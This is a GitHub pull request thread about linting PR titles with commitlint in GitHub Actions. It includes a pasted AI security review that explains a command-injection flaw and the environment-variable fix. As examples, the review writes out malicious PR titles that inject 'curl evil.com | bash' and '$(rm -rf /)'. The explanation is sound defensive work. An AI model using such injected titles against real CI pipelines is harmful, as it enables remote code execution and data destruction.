chore(github-actions): configure commitlint to lint the PR title

[fhennig]

#1057 (not completely resolved: we want to only allow squash-merge)

[vercel]

The latest updates on your projects. Learn more about Vercel for GitHub.

Project	Deployment	Review	Updated (UTC)
dashboard-components	Error		Jan 7, 2026 10:21am

[github-actions]

There is no change in the changelog. This PR will not produce a new releasable version.

[fengelniederhammer]

Thanks, that was easy!

I think it would be good to adapt the docs in CONTRIBUTING.md to say that only the PR titles need to follow conventional commits now.

[fengelniederhammer]

There is also

    "commitlint:last-commit": "commitlint --from=HEAD~1 --verbose",
    "commitlint:merge-base": "commitlint --from=$(git merge-base HEAD main) --verbose",

in the top level package.json which isn't really necessary anymore. I'm undecided whether to leave it or remove it. What do you think?

[fengelniederhammer]

There is no change in the changelog. This PR will not produce a new releasable version.

I also wonder how useful this will be... Is there an easy way so that we could still get a changelog preview?

[fhennig]

I think I'd remove the two commands, I haven't used them before. Same for the changelog preview.

Maybe the changelog preview could be modified so it does a merge with the PR title to generate the changelog? But there might be merge conflicts. Or maybe there is another way, we could investigate this; but I would just drop this action, personally.

@chaoran-chen what do you think?

[fengelniederhammer]

Maybe the changelog preview could be modified so it does a merge with the PR title to generate the changelog? But there might be merge conflicts. Or maybe there is another way, we could investigate this; but I would just drop this action, personally.

It has been quite useful sometimes (admittedly more when we were new to release-please). Especially for breaking changes it's nice to see how the changelog turns out when you want to write a proper message for breaking changes. But I'd be open to delete it for now.

[chaoran-chen]

As Fabian said, the preview can be quite useful for people who are not very familiar with the system especially in more complicated cases with breaking changes, but I don't think that it's critical to maintain/adapt it if it takes significant effort.

[fengelniederhammer]

Claude says (after Copilot made me aware that this might be vulnerable):

Yes, this is vulnerable to command injection!

The Vulnerability

The ${{ }} interpolation happens before the shell processes the script. If the PR title contains special characters, they will be interpreted by the shell.

Example Attack

PR title: test"; curl evil.com | bash; echo "

GitHub Actions expands this to:

echo "test"; curl evil.com | bash; echo "" | npx commitlint --verbose

The shell executes:

1. echo "test"
2. curl evil.com | bash ← malicious code runs!
3. echo "" | npx commitlint --verbose

Another Attack Vector

PR title: $(rm -rf /)

Expands to:

echo "$(rm -rf /)" | npx commitlint --verbose

The command substitution $(...) executes before echo runs.

Why This Is Different

Unlike the environment variable approach where the value is stored as data:

• Here, ${{ }} injects the literal text into the shell script source code
• The shell then parses and interprets that text as code

Secure Fix

Use the environment variable approach:

- name: Lint PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "$PR_TITLE" | npx commitlint --verbose

Verdict: Your code is vulnerable. Always use environment variables when handling untrusted input from GitHub context variables.

[fengelniederhammer]

As Fabian said, the preview can be quite useful for people who are not very familiar with the system especially in more complicated cases with breaking changes, but I don't think that it's critical to maintain/adapt it if it takes significant effort.

If something is merged to main that doesn't have the expected changelog, it can still be changed manually in the PR and in the GitHub release. Losing the preview in the worst case means some manual extra work.